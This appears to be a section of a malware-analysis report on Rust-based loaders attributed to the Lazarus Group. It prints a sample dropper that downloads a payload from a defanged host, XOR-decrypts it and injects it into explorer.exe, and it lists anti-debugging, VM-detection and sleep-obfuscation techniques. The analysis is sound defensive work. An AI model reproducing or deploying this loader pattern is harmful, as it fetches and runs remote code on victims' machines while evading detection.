4.1 Rust-based Loaders (Lazarus Group)

// Sample Rust dropper analysis use std::process::Command; use winapi::um::winuser::{MessageBoxA, MB_OK}; use std::ffi::CString; fn main() { // Download payload let payload = reqwest::blocking::get("https://cdn[.]malicious[.]com/update.bin") .unwrap() .bytes() .unwrap(); // XOR decryption (key: 0x37) let decrypted: Vec = payload.iter() .map(|&b| b ^ 0x37) .collect(); // Inject into explorer.exe inject_shellcode(decrypted); } // Anti-analysis techniques: // - Debugger detection via NtQueryInformationProcess // - VM detection via registry artifacts // - Sleep obfuscation via CreateWaitableTimerW
